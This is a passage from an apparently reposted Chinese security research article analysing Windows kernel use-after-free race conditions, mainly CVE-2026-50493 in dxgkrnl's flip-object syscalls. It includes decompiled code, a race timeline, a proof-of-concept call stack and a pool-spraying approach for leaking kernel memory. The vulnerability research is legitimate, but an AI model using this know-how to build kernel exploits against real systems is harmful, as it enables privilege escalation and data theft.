leaf="">在任何图形相关漏洞被公开披露之前，我不得不自己摸索如何利用这个特定的竞态条件。我努力尝试了很多次，但成功率极低；竞争路径涉及以下步骤——我画一张图方便可视化：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Thread </span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">                            Thread </span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><br/><span leaf="">                                  CldiStreamProcessPendingHydrationRequests</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamCdqACQUIRE</span></span><span leaf="">()</span><br/><span leaf="">                                  Process Hydration request... success</span><br/><span leaf="">                                  CldiStreamCompleteRequest() </span><br/><span leaf="">                                      -&gt; FltCbdqRemoveIo()</span><br/><span leaf="">                                  HsmiRecallHydrationCompletionCallback()</span><br/><span leaf="">                                      -&gt; FltCompletePendedPreOperation()</span><br/><span leaf="">                                         -&gt; FltpFreeIrpCtrl()</span><br/><span leaf="">                                  CldiStreamCdqRELEASE()</span><br/><span leaf="">NtCancelIoFileEx                            </span><br/><span leaf="">CldiStreamCdqACQUIRE()</span><br/><span leaf="">CldStreamCdqREMOVE_IO(Cbdq, Cbd) OK</span><br/><span leaf="">CldiStreamCdqRELEASE()</span><br/><span leaf="">    -&gt; At this point the Cbd is already freed</span><br/><span leaf="">    -&gt; UAF and CBD go to CldStreamCdqCOMPLETE_CANCELED_IO()</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然 </span><strong><span leaf="">CldStreamCdqCOMPLETE_CANCELED_IO</span></strong><span leaf="">中蕴含着大量高效利用的机会，但其固有的不稳定性使其成为不可靠的攻击选择。尽管我反复尝试加以利用，均未成功，因此决定放弃这种方法。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">图形驱动信息泄露</span></h2><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 5" class="rich_pages wxw-img" data-imgfileid="100013078" data-type="png" style="max-width: 100%;height: auto !important;" data-ratio="0.14537037037037037" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bee24d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiapppWzJF7lS4D8TTGUic2fhnpSUx2VE9wQVjA8azPWfDYl33wPic6fMfSmDuYqBufISuVia2RIXywzB9pPzVTrfJLZyIj1vQ9UwQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">CVE-2026-50493</span></strong><span leaf="">是此漏洞的 CVE 编号。它同样是一个竞态条件导致的释放后使用（UAF）漏洞，也是由 AI 发现的。以下是代码和思路：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSTATUS __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">NtFlipObjectConsumerAcquirePresent</span></span><span leaf="">(</span><br/><span leaf="">        HANDLE consumer_handle,</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">size_t</span></span><span leaf=""> serialized_size,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> property_count,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *user_present_buffer,</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *user_property_buffer)</span><br/><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD &#34;+&#34; TO EXPAND]</span><br/></span><span leaf="">  [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span leaf="">    flip_manager_object = resolved_object;</span><br/><span leaf="">    status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">CPushLock::AcquireLockExclusive</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: (SECURITY_CONTEXT_TRACKING_MODE *)&amp;resolved_object-&gt;FlipManager.</span><span style="color: rgb(36, 41, 46);"><span leaf="">PushLock</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">    {</span><br/><span leaf="">      actual_property_count = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">      user_visible_update = flip_manager_object-&gt;FlipManager.</span><span style="color: rgb(36, 41, 46);"><span leaf="">UserVisibleUpdate</span></span><span leaf="">;</span><br/><span leaf="">      status = user_visible_update == </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf=""> ? </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000001</span></span><span leaf=""> : </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( user_visible_update )</span><br/><span leaf="">      {</span><br/><span leaf="">        property_set_ptr = user_visible_update-&gt;PropertySet;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( property_set_ptr )</span><br/><span leaf="">          actual_property_count = property_set_ptr-&gt;PropertyCount;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( user_visible_update-&gt;SerializedSize != (_DWORD)requested_size || actual_property_count != property_count )</span><br/><span leaf="">          status = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC000000D</span></span><span leaf="">;</span><br/><span leaf="">      }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">      {</span><br/><span leaf="">        serialized_buffer = user_visible_update-&gt;SerializedBuffer;</span><br/><span leaf="">        property_set = user_visible_update-&gt;PropertySet;</span><br/><span leaf="">        referenced_property_set = property_set;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( property_set )</span><br/><span leaf="">          ++property_set-&gt;ReferenceCount;</span><br/><span leaf="">      }</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">CPushLock::ReleaseLock</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">: (SECURITY_CONTEXT_TRACKING_MODE *)&amp;resolved_object-&gt;FlipManager.</span><span style="color: rgb(36, 41, 46);"><span leaf="">PushLock</span></span><span leaf="">);</span><br/><span leaf="">    }</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">  {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( (_DWORD)requested_size ) </span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">RtlCopyToUser</span></span><span leaf="">(a1: user_present_buffer, Src: serialized_buffer, </span><span style="color: rgb(0, 92, 197);"><span leaf="">Size</span></span><span leaf="">: requested_size); </span><span style="color: rgb(106, 115, 125);"><span leaf="">// VULN</span><br/></span><span leaf="">  ...</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> status;</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">NtFlipObjectConsumerAcquirePresent</span></strong><span leaf="">函数可通过用户态系统调用轻松访问。漏洞发生在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlCopyToUser</span></code><span leaf="">被调用时，而此时 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">serialized_buffer</span></code><span leaf="">已经被释放。通过释放 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">serialized_buffer</span></code><span leaf="">并执行池喷射，攻击者可以成功泄露来自其他对象的数据。我们已经了解了 UAF 路径，下一步是释放路径，但在此之前，我先总结一些关于目标对象的信息。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">FlipManagerObject</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">serialized_buffer</span></code><span leaf="">字段位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FlipManagerObject</span></code><span leaf="">中，通过 </span><strong><span leaf="">NtFlipObjectCreate</span></strong><span leaf="">函数创建，同样可通过用户态轻松访问，属于 </span><strong><span leaf="">PagedPool</span></strong><span leaf="">（分页池）。对象成功创建后，我们还会获得对应该对象的句柄。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">NTSYSCALLAPI</span><br/><span leaf="">        NTSTATUS</span><br/><span leaf="">        NTAPI</span><br/><span style="color: rgb(111, 66, 193);"><span leaf="">NtFlipObjectCreate</span></span><span leaf="">(</span><br/><span leaf="">            _In_  PVOID    Context,</span><br/><span leaf="">            _Out_ PHANDLE OutHandle);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要创建 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">serialized_buffer</span></code><span leaf="">字段，我们需要触发 </span><strong><span leaf="">CResourceStateUpdateSerializer::GetSerializedUpdate</span></strong><span leaf="">函数，它同样可通过 </span><strong><span leaf="">NtTokenManagerCreateFlipObjectTokenHandle</span></strong><span leaf="">系统调用轻松访问。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CResourceStateUpdateSerializer::GetSerializedUpdate</span></span><span leaf="">(</span><br/><span leaf="">        CResourceStateUpdateSerializer *</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">,</span><br/><span leaf="">        CFlipPresentUpdate *update)</span><br/><span leaf="">{</span><br/><span leaf="">  PVOID SerializedBuffer; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// rsi</span><br/></span><span leaf="">  ULONG SerializedLength; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// ebp</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *SerializedBuffer_1; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// rcx</span></span><br/><span leaf="">  SerializedBuffer = </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedBuffer;</span><br/><span leaf="">  SerializedLength = </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedLength;</span><br/><span leaf="">  SerializedBuffer_1 = update-&gt;SerializedBuffer;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( SerializedBuffer_1 )</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">ExFreePoolWithTag</span></span><span leaf="">(P: SerializedBuffer_1, Tag: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">  update-&gt;SerializedBuffer = SerializedBuffer;</span><br/><span leaf="">  update-&gt;SerializedSize = SerializedLength;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedBuffer = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedLength = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedBufferPtr = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;CommandDataPtr = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedContentPtr = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;ResourceDataPtr = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;UpdatedContentPtr = </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">;</span><br/><span leaf="">  *(_QWORD *)&amp;</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedBufferSize = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">  *(_QWORD *)&amp;</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedContentSize = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;UpdatedContentSize = </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">00</span></span><span leaf=""> dxgkrnl!CResourceStateUpdateSerializer::GetSerializedUpdate</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">01</span></span><span leaf=""> dxgkrnl!CEndpointResourceStateManager::PrepareIncrementalUpdateForUser+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x2d6</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">02</span></span><span leaf=""> dxgkrnl!CFlipManager::ConsumerBeginProcessPresent+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x12a</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">03</span></span><span leaf=""> dxgkrnl!NtFlipObjectConsumerBeginProcessPresent+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x90</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">04</span></span><span leaf=""> nt!KiSystemServiceCopyEnd+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x25</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">05</span></span><span leaf=""> win32u!NtFlipObjectConsumerBeginProcessPresent+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x14</span></span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">06</span></span><span leaf=""> poc+</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x2dbf</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">serialized_buffer</span></code><span leaf="">在 </span><strong><span leaf="">CResourceStateUpdateSerializer::Allocate</span></strong><span leaf="">中创建：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">__int64 __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CResourceStateUpdateSerializer::Allocate</span></span><span leaf="">(CResourceStateUpdateSerializer *</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> Tag)</span><br/><span leaf="">{</span><span style="color: rgb(106, 115, 125);"><span leaf="">// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD &#34;+&#34; TO EXPAND]</span></span><br/><span leaf="">  currentSize = </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedLength;</span><br/><span leaf="">  sizeAfterCmdData = currentSize + </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;CommandDataSize;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( sizeAfterCmdData &lt; currentSize )</span><br/><span leaf="">  {</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedLength = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000095</span></span><span leaf="">;</span><br/><span leaf="">  }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">  {</span><br/><span leaf="">      [...]</span><br/><span leaf="">      sizeAfterAddedBuf = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">      accumAfterAddedBuf = accumulatedSize + </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedBufferSize; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// notice field AddedBufferSize</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( accumAfterAddedBuf &gt;= accumulatedSize )</span><br/><span leaf="">        sizeAfterAddedBuf = accumulatedSize + </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedBufferSize;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedLength = sizeAfterAddedBuf;</span><br/><span leaf="">      status = accumAfterAddedBuf &lt; accumulatedSize ? </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000095</span></span><span leaf=""> : </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( accumAfterAddedBuf &gt;= accumulatedSize )</span><br/><span leaf="">      {</span><br/><span leaf="">        sizeAfterAddedContent = -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">;</span><br/><span leaf="">        accumAfterAddedContent = sizeAfterAddedBuf + </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedContentSize;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( accumAfterAddedContent &gt;= sizeAfterAddedBuf )</span><br/><span leaf="">          sizeAfterAddedContent = sizeAfterAddedBuf + </span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;AddedContentSize;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedLength = sizeAfterAddedContent;</span><br/><span leaf="">        [...]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( status &gt;= </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf=""> )</span><br/><span leaf="">        {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> ( sizeAfterAddedContent</span><br/><span leaf="">            &amp;&amp; (allocatedPool = (</span><span style="color: rgb(215, 58, 73);"><span leaf="">void</span></span><span leaf=""> *)</span><span style="color: rgb(0, 92, 197);"><span leaf="">ExAllocatePool2</span></span><span leaf="">(a1: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0x101</span></span><span leaf="">, a2: sizeAfterAddedContent, a3: Tag, a4: </span><span style="color: rgb(0, 92, 197);"><span leaf="">0xC0000095LL</span></span><span leaf="">),</span><br/><span leaf="">                (</span><span style="color: rgb(0, 92, 197);"><span leaf="">this</span></span><span leaf="">-&gt;SerializedBuffer = allocatedPool) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">nullptr</span></span><span leaf="">) )</span><br/><span leaf="">          {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsigned</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">)-</span><span style="color: rgb(0, 92, 197);"><span leaf="">1073741801</span></span><span leaf="">;</span><br/><span leaf="">          }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">          {</span><br/><span leaf="">           